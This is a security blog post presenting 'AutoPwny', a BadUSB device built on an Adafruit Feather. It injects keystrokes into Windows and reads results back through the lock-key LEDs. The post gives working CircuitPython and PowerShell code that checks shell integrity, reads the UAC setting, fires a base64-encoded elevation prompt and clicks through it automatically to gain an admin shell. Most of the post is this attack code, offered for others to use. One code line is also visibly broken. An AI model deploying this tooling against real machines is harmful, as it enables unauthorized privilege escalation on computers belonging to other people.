AutoPwny - The Intelligent BadUSB

AutoPwny - The Intelligent BadUSB
GitHub - secsi/AutoPwny: Think “BadUSB” but with two-way communication
Think “BadUSB” but with two-way communication. Contribute to secsi/AutoPwny development by creating an account on GitHub.

Leading on from this previous article. We are going to utilise lock keys to get command confirmation from HID keyboard input. Sounds crazy... well it is, but it will allow us to create a logic flow. Making a device that can systematically choose commands to get root on a system.

Firstly building on the basic POC flow of:

1) Start a Powershell window
2) Check my shell integrity
3) Check If UAC is Enabled
4) Check if user can launch UAC to admin using the yes/no prompt
5) If they can start as admin, elevate via runas to new posh window
6) Add the keyboard object again and start as admin in new window
7) Check integrity again, if high then youre an admin

Further to this, more options can be added as desired.

The Hardware

Its nothing special

Im using an Adafruit Feather, but this will work with any Circuit Python enabled board I think.

Adafruit Feather RP2040 with Host USB

The Command Types

All about the lock keys

Every window starts with a keyboard object to allow the control of the caps, num and scroll lock keys:

$wsh = New-Object -ComObject WScript.Shell

With this in mind the Feather can then inject commands which result in lock light configuration changes to get assumed response from the commands. Here's some of them that run and how they function.

High or Medium Integrity Shell?

Firstly lets cover the checks for either a Medium or High integrity shell. To confirm this on a host we use "whoami /groups". The final line will be either:

"Mandatory Label\Medium Mandatory Level" or "Mandatory Label\High Mandatory Level".

High being an indicator that the shell integrity is running as an administrator. Medium is the default shell for all users.

So we need to know if its High or Medium:

$output = $(whoami /groups);if ($output -like "*Medium Mandatory Level*"){$wsh.SendKeys('{CAPSLOCK}')};if ($output -like "*High Mandatory Level*"){$wsh.SendKeys('{NUMLOCK}')};$wsh.SendKeys('{SCROLLLOCK}')

The above simply runs the "whoami /groups" command. It then runs an if statement. If the string for Medium exists, turn on caps. If the string for High exists, turn on num lock. To indicate success in running the command and pass the buck back to the Feather, we finally turn the scroll lock on.

The function allows for two string searches which can be used to identify two separate strings in the same output.

From the Feather, this is the function used:

def send_command_two(command,string1,string2):
    #command to search for two seperate strings in results. Caps for string1 num for string2
    send_keys("$output = $("+str(command)+");if ($output -like \"*"+string1+"*\"){$wsh.SendKeys('{CAPSLOCK}')};if ($output -like \"*"+string2+"*\"){$wsh.SendKeys('{NUMLOCK}')};$wsh.SendKeys('{SCROLLLOCK}')")
    send_enter()

def command_eval_whoami_groups():
    send_command_two("whoami /groups","Medium Mandatory Level","High Mandatory Level")
    waitforscroll()
    if(keyboard.led_on(Keyboard.LED_CAPS_LOCK)):
        print("Running at medium")
        toggle_caps()
    if(keyboard.led_on(Keyboard.LED_NUM_LOCK)):
        print("Running at high")
        toggle_num()
    toggle_scroll()

Is UAC Enabled?

Moving on we have the UAC enabled check. which retrieves the registry config setting. If '1' then caps, else numlock for something else.

$UACSetting = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA";if ($UACSetting.EnableLUA -eq 1) {$wsh.SendKeys('{CAPSLOCK}')} else {$wsh.SendKeys('{NUMLOCK}')};$wsh.SendKeys('{SCROLLLOCK}')

Noticeable difference is the execution of this command type as its what ive called a "Raw Command".

def send_command_raw(command):
    send_keys(command)
    send_enter()
    
def command_eval_UAC():
    send_command_raw("$UACSetting = Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name \"EnableLUA\";if ($UACSetting.EnableLUA -eq 1) {$wsh.SendKeys('{CAPSLOCK}')} else {$wsh.SendKeys('{NUMLOCK}')};$wsh.SendKeys('{SCROLLLOCK}')")
    waitforscroll()
    if(keyboard.led_on(Keyboard.LED_CAPS_LOCK)):
        print("UAC Enabled")
        toggle_caps()
    if(keyboard.led_on(Keyboard.LED_NUM_LOCK)):
        print("UAC Disabled")
        toggle_num()
    toggle_scroll()

You'll see the difference is that it allows me to type whatever I want and wont pre format the Caps/Num/Scroll commands so I've done it manually here. This Raw command type is useful for commands which don't required responses. Another example is launching the PowerShell window; it does not require any lock key response.

Can We Elevate By Just Clicking "Yes"?

To do this, we use a B64 encoded command. Which fires a window using start-process to attempt to elevate. When it does, it adds a keyboard object and turns on Num and Caps lock.

Start-Process -FilePath "powershell.exe" -ArgumentList "-enc JAB3AHMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHcAcwBoAC4AUwBlAG4AZABLAGUAeQBzACgAJwB7AEMAQQBQAFMATABPAEMASwB9ACcAKQA7ACQAdwBzAGgALgBTAGUAbgBkAEsAZQB5AHMAKAAnAHsATgBVAE0ATABPAEMASwB9ACcAKQA=" -Verb RunAs -PassThru

# B64 decoded command == "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');$wsh.SendKeys('{NUMLOCK}')"

If the script runs successfully, we should expect to see num and caps on. If not, we can assume that their is a password barrier, so not an automated option. Here's the code from the Feather...

def command_eval_checkUAC():
    send_command_raw("Start-Process -FilePath \"powershell.exe\" -ArgumentList \"-enc JAB3AHMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHcAcwBoAC4AUwBlAG4AZABLAGUAeQBzACgAJwB7AEMAQQBQAFMATABPAEMASwB9ACcAKQA7ACQAdwBzAGgALgBTAGUAbgBkAEsAZQB5AHMAKAAnAHsATgBVAE0ATABPAEMASwB9ACcAKQA=\" -Verb RunAs -PassThru")
    time.sleep(0.5)
    keyboard.press(Keycode.SHIFT, Keycode.TAB)
    keyboard.release_all()
    time.sleep(0.5)
    send_enter()
    time.sleep(0.5
    # run an epic for instead of using sleep timers :)
    for i in range(0,1000):
        if(keyboard.led_on(Keyboard.LED_NUM_LOCK) and keyboard.led_on(Keyboard.LED_CAPS_LOCK)):
            print("UAC Bypassed - user is likely an admin")
            toggle_num()
            toggle_caps()
            return True
    print("Unable to elevate, user is probably not an admin")
    return False

# Attempt elevation to admin test
if (command_eval_checkUAC()):
    # Try a full blown elevation to admin
    print("[+] UAC Bypass looks good, trying to get admin")
    start_powershell_as_admin_from_cli()
else:
    print("[+] UAC passthrough failed")
    print("[+] Further enum for priv esc needed")

This logic will then fire the "start_powershell_as_admin_from_cli" function. In which:

1) Calls a new PowerShell window as admin
2) shift+tab to shift the selection to yes
3) Presses enter to confirm
4) Adds a keyboard object to the new window
5) Re-runs the integrity check

def start_powershell_as_admin_from_cli():
    send_command_raw("Start-Process -FilePath \"powershell.exe\" -Verb RunAs")
    time.sleep(0.5)
    keyboard.press(Keycode.SHIFT, Keycode.TAB)
    keyboard.release_all()
    time.sleep(0.5)
    send_enter()
    time.sleep(0.5)
    add_shellkeyboard()
    command_eval_whoami_groups()
    send_keys("Im now an admin")

The Result

Execution

So here's the execution of said logic.

0:00
/0:36

As I said, its a POC I plan on building on...

It will only get smarter the more logic is built in. Plans for this are ongoing. Feel free to play with it. My coding is atrocious and id love to see someone make it look clean!

GitHub - secsi/AutoPwny: Think “BadUSB” but with two-way communication
Think “BadUSB” but with two-way communication. Contribute to secsi/AutoPwny development by creating an account on GitHub.